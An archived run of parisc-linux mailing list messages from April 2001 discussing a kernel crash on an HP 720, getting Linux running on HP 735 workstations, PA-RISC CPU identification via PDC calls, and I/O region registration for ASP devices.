-------------------------------------------------------------------------
private:	christoph.plattner@dot.at
company:	christoph.plattner@alcatel.at




From - Thu Nov 08 21:17:04 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New kernel on 720 + Pa-Linux-0.5: Breakpoint ?
Date: Tue, 3 Apr 2001 00:17:43 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <20010403001743.G9198@linuxcare.com>
References: <3AC90274.4687ED7C@dot.at>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619991 17468 80.91.229.3 (22 Nov 2014 01:33:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Christoph Plattner <christoph.plattner@dot.at>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  2 17:18:02 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id A45A3482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Apr 2001 17:18:02 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 31B75B007; Tue,  3 Apr 2001 00:17:43 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <3AC90274.4687ED7C@dot.at>; from christoph.plattner@dot.at on Tue, Apr 03, 2001 at 12:51:32AM +0200
Xref: news.gmane.org gmane.linux.ports.parisc:10648

On Tue, Apr 03, 2001 at 12:51:32AM +0200, Christoph Plattner wrote:
> What this in the new kernel ?
> A manually inserted breakpoint ?

No, you need new user space stuff.  It looks like there will be a
new base tarball Real Soon Now, so it might be easiest to wait a
few days for that.  Alternatively you could try the file system
at

http://mkhppa1.esiee.fr/en/download.html

which is pretty up to date - havn't tried that myself though.

Richard





From - Thu Nov 08 21:17:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New kernel on 720 + Pa-Linux-0.5: Breakpoint ?
Date: Tue, 3 Apr 2001 00:27:49 +0100
Lines: 31
Approved: news@gmane.org
Message-ID: <20010403002749.K11435@parcelfarce.linux.theplanet.co.uk>
References: <3AC90274.4687ED7C@dot.at> <20010403001743.G9198@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619991 17471 80.91.229.3 (22 Nov 2014 01:33:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:11 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@dot.at>,
	parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  2 17:27:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 15F53482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Apr 2001 17:27:58 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14kDjh-0006eh-00; Tue, 03 Apr 2001 00:27:49 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010403001743.G9198@linuxcare.com>; from rhirst@linuxcare.com on Tue, Apr 03, 2001 at 12:17:43AM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10649

On Tue, Apr 03, 2001 at 12:17:43AM +0100, Richard Hirst wrote:
> On Tue, Apr 03, 2001 at 12:51:32AM +0200, Christoph Plattner wrote:
> > What this in the new kernel ?
> > A manually inserted breakpoint ?
> 
> No, you need new user space stuff.  It looks like there will be a

Why do you say that?  From:

sr0-3    00000000 00000000 00000000 00000001
sr4-7    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: 00000000 00000004

it looks like it's a kernel null pointer dereference.

> new base tarball Real Soon Now, so it might be easiest to wait a
> few days for that.  Alternatively you could try the file system
> at
> 
> http://mkhppa1.esiee.fr/en/download.html
> 
> which is pretty up to date - havn't tried that myself though.

Works well for me.  Though as you say there's a new nfsroot out RSN.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "van de Werken, Matthew (DEM, PH)" <M.Vandewerken@cat.csiro.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Getting Started...
Date: Tue, 3 Apr 2001 09:38:41 +1000
Lines: 62
Approved: news@gmane.org
Message-ID: <A8566E157F5FD411BCFB00D0B7816D514459E4@ntexchange.cat.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619991 17473 80.91.229.3 (22 Nov 2014 01:33:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:11 +0000 (UTC)
To: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  2 17:39:08 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bastion.qld.csiro.au (bastion.qld.csiro.au [140.253.122.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4D36D482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Apr 2001 17:39:01 -0600 (MDT)
Original-Received: from bastion.qld.csiro.au (localhost [127.0.0.1])
	by bastion.qld.csiro.au (8.9.3/8.9.3) with ESMTP id JAA05050
	for <parisc-linux@lists.parisc-linux.org>; Tue, 3 Apr 2001 09:38:58 +1000 (EST)
Original-Received: from ntexchange.cat.csiro.au (ntexchange.cat.csiro.au [140.253.12.1])
	by bastion.qld.csiro.au (8.9.3/8.9.3) with ESMTP id JAA05046
	for <parisc-linux@lists.parisc-linux.org>; Tue, 3 Apr 2001 09:38:58 +1000 (EST)
Original-Received: by ntexchange.cat.csiro.au with Internet Mail Service (5.5.2650.21)
	id <H0RGN01Y>; Tue, 3 Apr 2001 09:38:50 +1000
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:10650

Hi folks:

I have recently "acquired" a couple of old 735/xxx's, and I wish to run
Linux on these.
I have no experience with these machines whatsoever, my only experience is
with PCs, and Sun and IBM RS/6000 as unix-users (NOT as sysadmin). I have
run Linux on a PC before, so I am not totally alien to sysadmin. Oh, and I'm
an electronics engineer, so I have no problem with writing (average) code or
fiddling with electronics.

Firstly, I have a couple of questions if someone would be so kind as to help
me out:

* These boxes seem to have no indication whether they are 735/125 or 735/99
- how do I find out which they are?

* I don't know how much memory they have, how do I find this out? They have
maybe half of the memory expansion slots filled.

* I have no HIL keyboard or mouse, is there a way to make a HIL-to-PS/2
adapter so I can have a k/b and mouse at the console, or am I better off
using a serial terminal?

* These machines have no graphics output, how can I tell if they're alive?
Serial cable to a terminal (9600-N-1)?

* These machines have only the FDDI(?) optical network. I'm not sure how to
connect these to my ethernet (if at all), or am I better off adding an ISA
or EISA network card to the boxes?

* Can I add an ISA or EISA network card to the boxes, and will it be
recognised? Drivers?

* Has anyone done any work on a boot ROM in place of the "BIOS" (Yes, I know
it's not called a bios, but I can't remember the name off-hand...), so the
serial link isn't needed. That is, is there a way to have some startup code
in the ROM that will immediately point the box to the NFS share where it's
to get its info? What about a boot ROM on a network card? Is this even
possible?

* Can you boot these things straight off the SCSI disk? Is there a bootable
disk image, that would mean the network isn't needed straight away?

* Is there a basic "getting started" guide that I can use in order to boot
and have a bit of a play? What's the minimum I would need to do this?

* I read on the web site that there is no X server for this machine being
developed, is X available at all? That is, if I have an X server on another
machine, and assuming I have some networking setup, can I use remote X apps
(the way X is supposed to be...)?

I have a fast internet link and CD burner at work, so I have no problem
getting whole disk images if I need to.

Thanks in advance for the help, I can't think of any more questions for
now...

Cheers,
Matt van de Werken.




From - Thu Nov 08 21:17:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New kernel on 720 + Pa-Linux-0.5: Breakpoint ?
Date: Tue, 3 Apr 2001 00:41:12 +0100
Lines: 38
Approved: news@gmane.org
Message-ID: <20010403004112.H9198@linuxcare.com>
References: <3AC90274.4687ED7C@dot.at> <20010403001743.G9198@linuxcare.com> <20010403002749.K11435@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619992 17475 80.91.229.3 (22 Nov 2014 01:33:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:12 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@dot.at>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  2 17:41:31 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc117-bre9.cable.ntl.com [213.105.88.117])
	by dsl2.external.hp.com (Postfix) with ESMTP id B9041482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Apr 2001 17:41:31 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 429EEB007; Tue,  3 Apr 2001 00:41:12 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20010403002749.K11435@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Tue, Apr 03, 2001 at 12:27:49AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:10651

On Tue, Apr 03, 2001 at 12:27:49AM +0100, Matthew Wilcox wrote:
> On Tue, Apr 03, 2001 at 12:17:43AM +0100, Richard Hirst wrote:
> > On Tue, Apr 03, 2001 at 12:51:32AM +0200, Christoph Plattner wrote:
> > > What this in the new kernel ?
> > > A manually inserted breakpoint ?
> > 
> > No, you need new user space stuff.  It looks like there will be a
> 
> Why do you say that?  From:
> 
> sr0-3    00000000 00000000 00000000 00000001
> sr4-7    00000000 00000000 00000000 00000000
> 
> IASQ: 00000000 00000000 IAOQ: 00000000 00000004
> 
> it looks like it's a kernel null pointer dereference.

You might well be right; it just reminded me of one of the problems
I saw on my 715/old with bad spinlock alignment.

> > new base tarball Real Soon Now, so it might be easiest to wait a
> > few days for that.  Alternatively you could try the file system
> > at
> > 
> > http://mkhppa1.esiee.fr/en/download.html
> > 
> > which is pretty up to date - havn't tried that myself though.
> 
> Works well for me.  Though as you say there's a new nfsroot out RSN.

OK, I'm not sure when that was produced relative to my latest glibc
spinlock alignment fix though.

Richard





From - Thu Nov 08 21:17:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: frankb@efball.com (E Frank Ball)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Getting Started...
Date: Tue, 3 Apr 2001 00:00:19 +0000 ()
Lines: 61
Approved: news@gmane.org
Message-ID: <20010403000019.74DF73A@frizzen.efball.com>
References: <A8566E157F5FD411BCFB00D0B7816D514459E4@ntexchange.cat.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619992 17481 80.91.229.3 (22 Nov 2014 01:33:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:12 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: M.Vandewerken@cat.csiro.au (van de Werken, Matthew (DEM, PH))
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  2 18:00:44 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from zouave.sonic.net (zouave.sonic.net [209.204.172.153])
	by dsl2.external.hp.com (Postfix) with ESMTP id 16169482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Apr 2001 18:00:44 -0600 (MDT)
Original-Received: from frizzen.efball.com (frizzen.efball.com [192.168.0.27])
	by zouave.sonic.net (Postfix) with ESMTP
	id A17C066CC; Mon,  2 Apr 2001 17:00:42 -0700 (PDT)
Original-Received: by frizzen.efball.com (Postfix, from userid 4168)
	id 74DF73A; Mon,  2 Apr 2001 17:00:19 -0700 (PDT)
In-Reply-To: <A8566E157F5FD411BCFB00D0B7816D514459E4@ntexchange.cat.csiro.au> from "van de Werken, Matthew (DEM, PH)" at "Apr 3, 2001  9:38:41 am"
X-Location: Sonoma County, California, USA
X-GnuPG-fingerprint: 3712 9484 81CF C8FC 7A43  FCE5 420D 2F33 10FE A0B4
X-Mailer: ELM [version 2.4ME+ PL43 (25)]
Content-Length: 2328      
Xref: news.gmane.org gmane.linux.ports.parisc:10652

I'm not using PA-RISC Linux, yet, but I hope to be soon.  I'm been using
ix86 linux for a few years, and HP-UX for 15 years.  I deal with 700
series hardware everyday at work, mostly 715s, 725s, and 745s.

} I have recently "acquired" a couple of old 735/xxx's, and I wish to run
} Linux on these.
} 
} * These boxes seem to have no indication whether they are 735/125 or 735/99
} - how do I find out which they are?

If they aren't labeled as "735/125" or "735/99" they should be 100MHz.


} * I don't know how much memory they have, how do I find this out? They have
} maybe half of the memory expansion slots filled.

The boot screen should print the memory amount almost first thing.  The
735s use different ram than all the other 700s, so I don't know the part
numbers.  If you tell me I might be able to check (A2575-60001 is a 32MB
card for the other 700s, look for that kind of a number).
Do the RAM cards have ICs loaded on boths sides or only 1?  How many ICs
on each side?

} * I have no HIL keyboard or mouse, is there a way to make a HIL-to-PS/2
} adapter so I can have a k/b and mouse at the console, or am I better off
} using a serial terminal?

Modular Industrial Computers Inc used to make a HIL to PS2 Converter
box.  I don't think they do anymore because they can't get the ICs
anymore (HP part number 1RD2-6001).   Nobody else makes them.  The HIL
keyboards and mice are probably still available as "replacement parts"
from HP.  TAMs (www.tamsinc.com) is another possible source, so is
Monterey Bay Communication.


} * These machines have no graphics output, how can I tell if they're alive?
} Serial cable to a terminal (9600-N-1)?

Yuk, no wonder you don't know how much RAM you have.


} * These machines have only the FDDI(?) optical network. I'm not sure how to
} connect these to my ethernet (if at all), or am I better off adding an ISA
} or EISA network card to the boxes?

All the ones I've seen had an AUI port.


} * Can I add an ISA or EISA network card to the boxes, and will it be
} recognised? Drivers?

I'd like to know the answer to this.  I have 715s with an EISA backplane
and then I could have two ethernet connections.  Can I use the 27245 (hp
driver) or 27247, 27252 (hp-plus driver) cards?  Or maybe the J2405
(lance driver) card?


   E Frank Ball                efball@efball.com




From - Thu Nov 08 21:17:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Getting Started...
Date: Tue, 3 Apr 2001 01:29:26 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <20010403012926.L11435@parcelfarce.linux.theplanet.co.uk>
References: <A8566E157F5FD411BCFB00D0B7816D514459E4@ntexchange.cat.csiro.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619992 17485 80.91.229.3 (22 Nov 2014 01:33:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:12 +0000 (UTC)
Cc: "'parisc-linux@lists.parisc-linux.org'" <parisc-linux@lists.parisc-linux.org>
To: "van de Werken, Matthew (DEM, PH)" <M.Vandewerken@cat.csiro.au>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  2 18:29:35 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1B1B4482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Apr 2001 18:29:35 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 14kEhK-0007bc-00; Tue, 03 Apr 2001 01:29:26 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <A8566E157F5FD411BCFB00D0B7816D514459E4@ntexchange.cat.csiro.au>; from M.Vandewerken@cat.csiro.au on Tue, Apr 03, 2001 at 09:38:41AM +1000
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:10653

On Tue, Apr 03, 2001 at 09:38:41AM +1000, van de Werken, Matthew (DEM, PH) wrote:
> * These machines have no graphics output, how can I tell if they're alive?
> Serial cable to a terminal (9600-N-1)?

And disable both HW & SW flow control.  we use null-modem cables to our
PCs and minicom here, mostly.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:05 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Diag insn
Date: Mon, 02 Apr 2001 20:40:24 -0600
Lines: 50
Approved: news@gmane.org
Message-ID: <200104030240.UAA10418@puffin.external.hp.com>
References: <200104021808.f32I80M14250@lucifier.net>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619993 17486 80.91.229.3 (22 Nov 2014 01:33:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: mickey <mickey@lucifier.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  2 20:46:54 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0DC4A482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Apr 2001 20:46:54 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id UAA10418;
	Mon, 2 Apr 2001 20:40:24 -0600
In-Reply-To: Your message of "Mon, 02 Apr 2001 14:07:59 EDT."
             <200104021808.f32I80M14250@lucifier.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:10654

[ mickey - I cc'd the list so the right people can correct
  my ignorane below ]

mickey wrote:
> did not find it in the maillists or the doc.
> although you say you are not much of a cpu guy, maybe you
> can bounce it to smb who is?
> the question is, how to definately distinguish pa7300lc
> from let's say 7100lc (which is similar to it), besides
> cache size, if possible.

I can take a whack at this: PDC MODEL and PDC CPU calls.
The PDC for the various boxes will know exactly which type of CPU
(down to chip rev level) and this info is availble throught PDC
calls. parisc-linux dumps this info at boot time.
E.g. linux/arch/parisc/kernel/setup.c:collect_boot_cpu_data()

My offhand knowledge ends on where exactly to find the data for
each CPU type. I think the PARISC 2.0 Arch has a table in an appendix
which describes the various models and which value they will have.
You can also browse the HW data base and extract the same info.
(See http://216.208.98.4/view.php3?type=machine&name=A180C)

Oh - and parisc-linux determines the type based on a table.
See arch/parisc/kernel/hardware.c:parisc_get_cpu_type()

> the reason is that 7300lc uses a different diag-sequences
> to operate block tlb and such.

AFAIK, those things are not portable across parisc implementations.
But if you want to play with such code, finding the CPU type is trivial
in comparison.

BTW, PDC calls are provided to manage the block tlb (call will fail if
the CPU doesn't have block TLB). Some "Hversion specific" PDC calls
are provided to perform diag insns (eg set default wide mode on PA2.0 CPUs).
Don't how many PDC calls use diag insn or which of those calls are
published (documentation).

If you could be more specific about what you want to do, I'm sure folks
on this list would advise/help determine the "best" way to do it.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] request_region()
Date: Mon, 02 Apr 2001 21:06:10 -0600
Lines: 47
Approved: news@gmane.org
Message-ID: <200104030306.VAA10572@puffin.external.hp.com>
References: <20010403001114.F9198@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619993 17488 80.91.229.3 (22 Nov 2014 01:33:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:13 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Apr  2 21:12:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id C8175482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  2 Apr 2001 21:12:20 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id VAA10572;
	Mon, 2 Apr 2001 21:06:10 -0600
In-Reply-To: Your message of "Tue, 03 Apr 2001 00:11:14 BST."
             <20010403001114.F9198@linuxcare.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:10655

Richard Hirst wrote:
> My 715/old, with a cvs head kernel, has no entries in /proc/ioports.
> If I change our IO_SPACE_LIMIT in io.h from 0x00ffffff to 0xfffffff,
> I get
> 
> apollo:~# cat /proc/ioports 
> f0800000-f08fffff : ASP
>   f0800000-f0800013 : reserved
>   f0800020-f0800020 : led_data
>   f0824800-f0824802 : parport0
>   f0826000-f0826010 : i82596
...
> Should all that ASP related stuff be doing a request_mem_region()
> so they show up in /proc/iomem rather than /proc/ioports?

Yes. I think so.
Ideally, /proc/ioports should be empty for systems without PCI or EISA.


> If so, does that have implications for EISA devices which will appear
> under ASP, where we might want to use exisiting drivers that do
> request_region()?

The plan was EISA devices under ASP should use request_region()
and inb/outb. I have no clue how EISA "bus walk" works or how EISA
drivers will find/claim their devices.

The EISA HBA needs to register it's "pci_ops".
See arch/parisc/kernel/pci.c:PCI_PORT_OUT macro.

> from io.h:
> 
> /* IO Port space is :      BBiiii   where BB is HBA number. */
> #define IO_SPACE_LIMIT 0x00ffffff

Yup - that's correct. It means the "offending" drivers above aren't
using inb/outb since "BB" value would index beyond the end
of the HBA array and crash the box.

grant

Grant Grundler
parisc-linux {PCI|IOMMU|SMP} hacker
+1.408.447.7253




From - Thu Nov 08 21:17:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Christoph Plattner <christoph.plattner@alcatel.at>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] New kernel on 720 + Pa-Linux-0.5: Breakpoint ?
Date: Tue, 03 Apr 2001 08:55:15 +0200
Organization: AAA
Lines: 41
Approved: news@gmane.org
Message-ID: <3AC973D3.F1453A4C@alcatel.at>
References: <3AC90274.4687ED7C@dot.at> <20010403001743.G9198@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619993 17492 80.91.229.3 (22 Nov 2014 01:33:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:13 +0000 (UTC)
Cc: Christoph Plattner <christoph.plattner@dot.at>,
	parisc-linux@lists.parisc-linux.org
To: Richard Hirst <rhirst@linuxcare.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  3 00:56:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.alcatel.at (atusks01.alcatel.at [212.183.9.130])
	by dsl2.external.hp.com (Postfix) with ESMTP id 47933482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Apr 2001 00:56:24 -0600 (MDT)
Original-Received: from alcatel.at (atusel33.aut.alcatel.at [146.112.129.215])
	by  mail.alcatel.at (8.9.3/8.9.3/1.21 01/27/01 21:43:09) with ESMTP id IAA11126;
	Tue, 3 Apr 2001 08:55:18 +0200 (MET DST)
Original-Sender: christoph.plattner@alcatel.at
X-Mailer: Mozilla 4.76 [en] (X11; U; SunOS 5.5.1 sun4m)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:10656

With the file system of ESIEE, I always have the problem, that 
my machine hangs, before init does any output !

I also have selfmade stuff, I will see, what will run on that
machine.

Thanks for your prompt answer.

With friendly regards
	Christoph Plattner


Richard Hirst wrote:
> 
> On Tue, Apr 03, 2001 at 12:51:32AM +0200, Christoph Plattner wrote:
> > What this in the new kernel ?
> > A manually inserted breakpoint ?
> 
> No, you need new user space stuff.  It looks like there will be a
> new base tarball Real Soon Now, so it might be easiest to wait a
> few days for that.  Alternatively you could try the file system
> at
> 
> http://mkhppa1.esiee.fr/en/download.html
> 
> which is pretty up to date - havn't tried that myself though.
> 
> Richard
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/cgi-bin/mailman/listinfo/parisc-linux


-----------------------------------------------------------------
private:        christoph.plattner@dot.at
company:        christoph.plattner@alcatel.at




From - Thu Nov 08 21:17:05 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Shugg <andrew@neep.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Getting Started...
Date: Tue, 3 Apr 2001 16:07:37 +0800
Lines: 21
Approved: news@gmane.org
Message-ID: <20010403160735.G31256@neep.com.au>
References: <A8566E157F5FD411BCFB00D0B7816D514459E4@ntexchange.cat.csiro.au> <20010403000019.74DF73A@frizzen.efball.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619994 17497 80.91.229.3 (22 Nov 2014 01:33:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:33:14 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Apr  3 02:07:57 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.iinet.net.au (symphony-01.iinet.net.au [203.59.24.16])
	by dsl2.external.hp.com (Postfix) with SMTP id 873DC482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  3 Apr 2001 02:07:56 -0600 (MDT)
Original-Received: (qmail 11909 invoked by uid 666); 3 Apr 2001 08:07:40 -0000
Original-Received: from unknown (HELO guinness.neep.com.au) (203.59.110.160)
  by mail.iinet.net.au with SMTP; 3 Apr 2001 08:07:40 -0000
Original-Received: (from andrew@localhost)
	by guinness.neep.com.au (8.9.3/8.9.3/Debian/GNU) id QAA12011
	for parisc-linux@lists.parisc-linux.org; Tue, 3 Apr 2001 16:07:41 +0800
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010403000019.74DF73A@frizzen.efball.com>; from frankb@efball.com on Tue, Apr 03, 2001 at 12:00:19AM +0000
X-URL: http://www.neep.com.au/
Xref: news.gmane.org gmane.linux.ports.parisc:10657

E Frank Ball said:
> } * These machines have only the FDDI(?) optical network. I'm not sure how to
> } connect these to my ethernet (if at all), or am I better off adding an ISA
> } or EISA network card to the boxes?
> 
> All the ones I've seen had an AUI port.

I thought so, too, but when I went hunting for one on the back of a
735/125 last night to stick a transceiver on it, I couldn't find it.
Either there isn't one or it was really well hidden.  =)

